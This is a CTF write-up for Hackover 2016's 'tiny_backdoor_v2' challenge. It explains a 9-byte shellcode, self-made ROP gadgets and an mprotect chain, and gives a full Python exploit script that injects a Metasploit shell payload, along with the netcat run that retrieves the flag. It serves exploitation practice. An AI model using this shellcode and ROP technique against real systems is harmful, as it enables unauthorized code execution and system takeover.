Outils pour utilisateurs

Outils du site


ctf:public:hackover2016:tiny_backdoor_v2

tiny_backdoor_v2 - Writeup by Maxima

Challenge

Thanks god you rescued us! The whole cyber space was at danger due to this fail. Hopefully we fixed that issue. It should never happen again. Can you do a security audit to confirm this?

nc challenges.hackover.h4q.it 47474

tiny_backdoor_v2.xz-de56e530893539c29e127888d5f6bc4972e6de97448d3498afb53f9c769ccd41

Solution

This challenge is based on tiny_backdoor_v1. The only difference is that the program calls mprotect(0x600000, 0x1000, PROT_READ | PROT_EXEC) before running our shellcode.

The method I used for tiny_backdoor_v1 doesn't work anymore because the memory segment at 0x600000 is no longer writeable. I had to come up with a new idea.

My first thought was to write on the stack instead, and then use ROP. Here is my shellcode:

5b                      pop    rbx
5f                      pop    rdi
b2 58                   mov    dl,0xff
54                      push   rsp
5e                      pop    rsi
0f 05                   syscall
c3                      ret

This shellcode calls read(0, rsp, 0xff) and then ret to launch the ROP chain. pop rdi sets rdi to 0, and push rsp; pop rsi is equivalent to mov rsi, rsp but only uses 2 bytes.

The next step was to write the ROP chain to get a shell. Unfortunately, the binary does not contain enough gadgets. Here are the interesting ones:

0x4000de: pop rax; syscall;
0x400152: pop rdx; push 0x1000; pop rsi; syscall; leave; ret

I had another idea. My shellcode itself contains a gadget! That is: pop rsi; syscall; ret. This one is kind of useless because we already have it a 0x400152. The thing is, it gave me the idea of rearranging my shellcode to provide a better gadget. Here is my new shellcode:

5b                      pop    rbx                                              
54                      push   rsp                                              
b2 58                   mov    dl,0xff                                          
5e                      pop    rsi                                              
5f                      pop    rdi                                              
0f 05                   syscall                                                 
c3                      ret

This does the same thing, a read(0, rsp, 0xff) but it also provides a cool pop rsi; pop rdi; syscall; ret gadget. But still, it wasn't enough.

That's when I got my final idea: this 0xff could be replaced by any value "big enough". What about replacing it by the opcode for pop rax, ie. 0x58? This gives me this final shellcode:

5b                      pop    rbx
54                      push   rsp
b2 58                   mov    dl,0x58
5e                      pop    rsi
5f                      pop    rdi
0f 05                   syscall
c3                      ret

It gives me this awesome gadget: pop rax; pop rsi; pop rdi; syscall; ret at address 0x600169.

I could finally build my ROP chain. Using only 2 gadgets, I control rax, rsi, rdi and rdx, so I can perform any system call. I'm gonna call mprotect(0x600000, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC) and then upload a shellcode at 0x600000 with a read(0, 0x600000, 0x58).

My ROP chain:

First, I used 0x400152: pop rdx; push 0x1000; pop rsi; syscall; leave; ret to set rdx to PROT_READ | PROT_WRITE | PROT_EXEC = 7. That performs a syscall with random parameters, but I don't really care as long as the program does not terminated. Then I used 0x600169: pop rax; pop rsi; pop rdi; syscall; ret to set rax = 10, rsi = 0x1000, rdi = 0x600000. That calls mprotect(0x600000, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC). I used the same idea again to call read(0, 0x600000, 0x58).

There is one annoying detail: my ROP chain can only be 0x58 bytes long (because of my shellcode). That's why I had to cut it into 2 steps. It was easy to inject another ROP chain, I just had to call again my shellcode!

Finally, I generated an old-style shellcode using metasploit that is written at 0x600000. Here is my final exploit:

#!/usr/bin/env python3
import sys
import time
import struct
 
def p64(x):
   return struct.pack('@Q', x)
 
 
code = [
   0xb3,    0x91,    0x7f,    0xdd,    0x62,    0x81,    0x11,    0x6a, 0x90,
   0x8c,    0xdb,    0xae,    0x70,    0xa7,    0x3f,    0xff,    0x3a, 0xc3,
   0xe6,    0x32,    0xff,    0x5e,    0x46,    0x63,    0x9a,    0x14, 0xb7,
   0x9e,    0xad,    0xf6,    0x09,    0xdc,    0x33,    0x2f,    0x35, 0xc6,
   0x6f,    0x1a,    0x7f,    0xff,    0x1b,    0xc2,    0xb5,    0xb7, 0xb7,
   0xc2,    0xd1,    0x75,
]
 
###############################
# First step : tiny shellcode #
###############################
 
'''
5b                      pop    rbx
54                      push   rsp
b2 58                   mov    dl,0x58
5e                      pop    rsi
5f                      pop    rdi
0f 05                   syscall
c3                      ret
'''
shellcode = [0x5b, 0x54, 0xb2, 0x58, 0x5e, 0x5f, 0x0f, 0x05, 0xc3]
 
key = []
for i in range(9):
    key.append(shellcode[i] ^ code[i])
 
key = bytes(key)
 
sys.stderr.write('[-] Sending 9 bytes shellcode\n')
sys.stdout.buffer.write(key)
sys.stdout.flush()
 
time.sleep(1)
 
################################
# Second step: first rop chain #
################################
 
# 0x600169: pop rax; pop rsi; pop rdi; syscall; ret
gadget_pop_rax_rsi_rdi_syscall_ret = 0x600169
 
# 0x400152: pop rdx; push 0x1000; pop rsi; syscall; leave; ret
gadget_pop_rdx_syscall_leave_ret = 0x400152
 
# 0x600167: push rsp; mov dl, 0x58; pop rsi; pop rdi; syscall; ret
gadget_write_stack = 0x600167
 
code_addr = 0x600000
 
 
ropchain = b'\x00' * 8
 
# mprotect(code_addr, 0x1000, 7)
# rax=10 rdi=code_addr rsi=0x1000 rdx=7
 
# rdx = 7
ropchain += p64(gadget_pop_rdx_syscall_leave_ret)
ropchain += p64(7)
ropchain += p64(1) # because of "leave"
ropchain += p64(2) # because of "leave"
 
# rax = 10 rsi = 0x1000 rdi = code_addr
ropchain += p64(gadget_pop_rax_rsi_rdi_syscall_ret)
ropchain += p64(10)
ropchain += p64(0x1000)
ropchain += p64(code_addr)
 
# read(0, rsp, 0x58)
ropchain += p64(gadget_write_stack)
ropchain += p64(0)
 
ropchain += b'\x00' * (0x58 - len(ropchain))
assert len(ropchain) == 0x58
 
sys.stderr.write('[-] Sending %d bytes ROP chain\n' % len(ropchain))
sys.stdout.buffer.write(ropchain)
sys.stdout.flush()
 
time.sleep(1)
 
################################
# Third step: Second ROP chain #
################################
 
ropchain = b'\x00' * 8
 
# read(0, code_addr, 0x58)
 
# rax = 0 rsi = code_addr rdi = 0
ropchain += p64(gadget_pop_rax_rsi_rdi_syscall_ret)
ropchain += p64(0)
ropchain += p64(code_addr)
ropchain += p64(0)
 
# Done ! it returns directly on code_addr that contains a shellcode generated by metasploit (just lazy...)
ropchain += p64(code_addr)
 
ropchain += b'\x00' * (0x58 - len(ropchain))
assert len(ropchain) == 0x58
 
sys.stderr.write('[-] Sending %d bytes ROP chain\n' % len(ropchain))
sys.stdout.buffer.write(ropchain)
sys.stdout.flush()
 
########################
# Last step: shellcode #
########################
 
# shellcode generated by metasploit
buf = (b"\x48\x31\xc9\x48\x81\xe9\xfa\xff\xff\xff\x48\x8d\x05\xef" +
       b"\xff\xff\xff\x48\xbb\x2c\x03\x3b\x02\x75\xce\xb2\xec\x48" +
       b"\x31\x58\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4\x46\x38\x63" +
       b"\x9b\x3d\x75\x9d\x8e\x45\x6d\x14\x71\x1d\xce\xe1\xa4\xa5" +
       b"\xe4\x53\x2f\x16\xce\xb2\xa4\xa5\xe5\x69\xea\x7d\xce\xb2" +
       b"\xec\x03\x61\x52\x6c\x5a\xbd\xda\xec\x7a\x54\x73\x8b\x93" +
       b"\xc1\xb7\xec")
 
sys.stderr.write('[-] Sending shellcode generated by metasploit\n')
sys.stdout.buffer.write(buf)
sys.stdout.flush()

Then:

$ (./payload.py; cat -) | nc challenges.hackover.h4q.it 47474
cat flag.txt
hackover16{7h3_64ckd0Or_M4n_1s_kn0ck1ng_47_y0uR_b4ckdO0r}

Done!

Other solution

There is an easier way to solve that challenge. Look at http://karabut.com/hackover-ctf-2016-tiny_backdoor-writeup.html. This method gives you the flag but you don't get a shell, that's why I think my method is still relevant.

Author

Maxime Arthaud 2016/10/19 21:46

ctf/public/hackover2016/tiny_backdoor_v2.txt · Dernière modification: 2016/10/22 22:29 par arthaum